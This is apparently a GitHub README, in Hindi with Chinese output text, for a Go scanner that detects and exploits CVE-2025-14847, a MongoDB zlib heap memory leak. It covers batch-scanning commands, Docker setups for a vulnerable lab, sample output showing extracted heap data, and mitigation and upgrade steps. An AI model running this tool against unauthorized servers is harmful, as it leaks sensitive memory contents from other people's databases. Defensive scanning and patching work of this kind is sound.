
MongoDB 内存泄露漏洞 (CVE-2025-14847) 检测工具
MongoDB मेमोरी लीक भेद्यता (CVE-2025-14847) पता लगाने का उपकरण
⚠️ महत्वपूर्ण सूचना: यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और भेद्यता मूल्यांकन के लिए है। अनधिकृत उपयोग कानून का उल्लंघन हो सकता है।
CVE-2025-14847 MongoDB Zlib संपीड़न प्रोटोकॉल प्रसंस्करण में एक गंभीर मेमोरी लीक भेद्यता है। हमलावर दुर्भावनापूर्ण रूप से तैयार किए गए संपीड़ित डेटा पैकेट भेजकर MongoDB को अप्रारंभित हीप मेमोरी डेटा लौटाने का कारण बन सकता है, जिसमें संवेदनशील जानकारी शामिल हो सकती है।
| संस्करण सीमा | स्थिति |
|---|---|
| 8.2.0 - 8.2.2 | ⚠️ प्रभावित |
| 8.0.0 - 8.0.16 | ⚠️ प्रभावित |
| 7.0.0 - 7.0.27 | ⚠️ प्रभावित |
| 6.0.0 - 6.0.26 | ⚠️ प्रभावित |
| 5.0.0 - 5.0.31 | ⚠️ प्रभावित |
| 4.4.0 - 4.4.29 | ⚠️ प्रभावित |
| 4.2.x सभी संस्करण | ⚠️ प्रभावित |
| 4.0.x सभी संस्करण | ⚠️ प्रभावित |
| 3.6.x सभी संस्करण | ⚠️ प्रभावित |
# रिपॉजिटरी क्लोन करें
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# निर्भरताएँ स्थापित करें
go mod download
# संकलित करें
go build -o mongodb-scanner main.go
# चलाएँ
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
Releases पृष्ठ पर जाएं और अपने सिस्टम के लिए उपयुक्त पूर्व-संकलित संस्करण डाउनलोड करें।
# एकल लक्ष्य स्कैन करें
./mongodb-scanner -t 127.0.0.1:27017
# फ़ाइल से बैच स्कैन करें
./mongodb-scanner -f targets.txt
# बैच स्कैन (20 थ्रेड)
./mongodb-scanner -f targets.txt -c 20
# स्कैन करें और कमजोर लक्ष्यों को सहेजें
./mongodb-scanner -f targets.txt -o vulnerable.txt
# कस्टम ऑफसेट रेंज (तेज़ या गहन स्कैन)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
एक targets.txt फ़ाइल बनाएँ:
# MongoDB लक्ष्य सूची
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# यदि पोर्ट निर्दिष्ट नहीं है, तो डिफ़ॉल्ट रूप से 27017 का उपयोग करें
192.168.1.101
इस उपकरण का सुरक्षित रूप से परीक्षण करने के लिए, Docker का उपयोग करके स्थानीय परीक्षण वातावरण सेटअप करने की सलाह दी जाती है।
# MongoDB 6.0.14 (भेद्यता-प्रभावित संस्करण) Zlib संपीड़न के साथ शुरू करें
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# कंटेनर स्थिति देखें
docker ps
# भेद्यता का परीक्षण करें
./mongodb-scanner -t 127.0.0.1:27017
docker-compose.yml फ़ाइल बनाएँ:
version: '3.8'
services:
# भेद्यता-प्रभावित संस्करण (Zlib सक्षम)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# पैच किया गया संस्करण (तुलना परीक्षण के लिए)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
परीक्षण वातावरण शुरू करें:
# सभी कंटेनर प्रारंभ करें
docker-compose up -d
# भेद्यता-प्रभावित संस्करण का परीक्षण करें
./mongodb-scanner -t 127.0.0.1:27017
# पैच किए गए संस्करण का परीक्षण करें
./mongodb-scanner -t 127.0.0.1:27018
# रोकें और साफ़ करें
docker-compose down -v
# कंटेनर रोकें और हटाएं
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# डेटा वॉल्यूम साफ़ करें
docker volume prune -f
उपकरण आउटपुट जानकारी को चिह्नित करने के लिए एक समान उपसर्ग का उपयोग करता है:
[*] - सूचना आउटपुट (लक्ष्य, संस्करण, कॉन्फ़िगरेशन, आदि)[+] - सफलता/भेद्यता मौजूद/डेटा निकाला गया[-] - विफलता/सुरक्षित/भेद्यता मौजूद नहीं[!] - चेतावनी/महत्वपूर्ण सूचना╔══════════════════════════════════════════════════════════════╗
║ MongoDB CVE-2025-14847 漏洞检测工具 ║
╚══════════════════════════════════════════════════════════════╝
⚠️ 仅用于授权安全测试 | 未经授权测试可能违法
[*] 目标: 1 | 线程: 10 | 超时: 2s | 偏移: 20-1000
[*] 开始扫描...
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[+] Zlib压缩: 已开启
[!] 漏洞可利用,开始提取内存...
[+] 偏移=229 长度=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 - 漏洞可利用 (v6.0.14) - 3468ms
[+] 成功提取 1 项内存数据:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 1 | 安全: 0 | 耗时: 3.4s
======================================================================
[*] 目标: 127.0.0.1:27018
[*] 版本: 6.0.27
[-] 漏洞版本: 否
[-] 127.0.0.1:27018 - 版本安全 (v6.0.27) - 156ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.2s
======================================================================
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[-] Zlib压缩: 未开启
[-] 127.0.0.1:27017 - 未开启Zlib (v6.0.14) - 234ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.3s
======================================================================
[*] 目标: 5 | 线程: 10 | 超时: 2s | 偏移: 20-8192
[*] 开始扫描...
[+] 192.168.1.10:27017 - 漏洞可利用 (v6.0.14) - 3521ms
[+] 成功提取 2 项内存数据:
[1] Connection ended...
[2] network statistics...
[-] 192.168.1.11:27017 - 版本安全 (v6.0.27) - 145ms
[-] 192.168.1.12:27017 - 未开启Zlib (v6.0.14) - 198ms
[+] 192.168.1.13:27017 - 漏洞可利用 (v7.0.15) - 2987ms
[!] 192.168.1.14:27017 - 漏洞可利用但未提取到数据 (v6.0.20) - 4123ms
======================================================================
[*] 扫描完成 | 总数: 5 | 可利用: 3 | 安全: 2 | 耗时: 5.2s
======================================================================
[+] 可利用的目标已保存到: vulnerable.txt
यह उपकरण तीन-चरणीय पहचान तंत्र का उपयोग करता है:
buildInfo कमांड)| स्थिति | परिणाम |
|---|---|
| भेद्यता संस्करण + Zlib सक्षम + डेटा निकाला गया | ✅ भेद्यता का शोषण किया जा सकता है - लीक डेटा दिखाएं |
| भेद्यता संस्करण + Zlib सक्षम + डेटा नहीं निकाला गया | ⚠️ भेद्यता का शोषण किया जा सकता है लेकिन डेटा नहीं निकाला गया |
| भेद्यता संस्करण + Zlib सक्षम नहीं | ❌ Zlib सक्षम नहीं - शोषण नहीं किया जा सकता |
निम्नलिखित में से किसी एक पैच संस्करण में तुरंत अपग्रेड करें:
यदि अल्पावधि में अपग्रेड नहीं किया जा सकता, तो निम्नलिखित अस्थायी उपाय किए जा सकते हैं:
mongod.conf या mongos.conf में कॉन्फ़िगर करें:
net:
compression:
compressors: []
या प्रारंभ पैरामीटर में zlib को स्पष्ट रूप से बाहर करें:
mongod --networkMessageCompressors snappy,zstd
zlib के बजाय snappy या zstd का उपयोग करने की अनुशंसा की जाती है:
net:
compression:
compressors: snappy,zstd
bindIp कॉन्फ़िगरेशन का उपयोग करें--auth पैरामीटर)⚠️ महत्वपूर्ण सूचना: अस्थायी शमन उपाय केवल जोखिम को कम कर सकते हैं, यह स्थायी समाधान नहीं है। दृढ़ता से अनुशंसा की जाती है कि जल्द से जल्द पैच किए गए संस्करण में अपग्रेड करें।
महत्वपूर्ण सूचना:
इस उपकरण का उपयोग करने का मतलब है कि आप सहमत हैं:
यह प्रोजेक्ट MIT License ओपन-सोर्स लाइसेंस के तहत उपलब्ध है।
Issue और Pull Request का स्वागत है!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)onewinner - @onewinner
प्रोजेक्ट पता: https://github.com/onewinner/CVE-2025-14847
⭐ यदि यह प्रोजेक्ट आपके लिए मददगार है, तो कृपया एक Star दें!
Made with ❤️ by Security Researchers
| पैरामीटर | विवरण | डिफ़ॉल्ट मान |
|---|
-t <target> | एकल लक्ष्य (उदाहरण: 127.0.0.1:27017) | - |
-f <file> | लक्ष्य फ़ाइल (प्रति पंक्ति एक लक्ष्य) | - |
-c <num> | समवर्ती थ्रेड्स की संख्या | 10 |
-timeout <time> | कनेक्शन टाइमआउट | 2s |
-o <file> | आउटपुट फ़ाइल (कमजोर लक्ष्यों को सहेजें) | - |
--min-offset <num> | न्यूनतम दस्तावेज़ लंबाई ऑफसेट | 20 |
--max-offset <num> | अधिकतम दस्तावेज़ लंबाई ऑफसेट | 8192 |
| गैर-भेद्यता संस्करण |
| ✅ संस्करण सुरक्षित |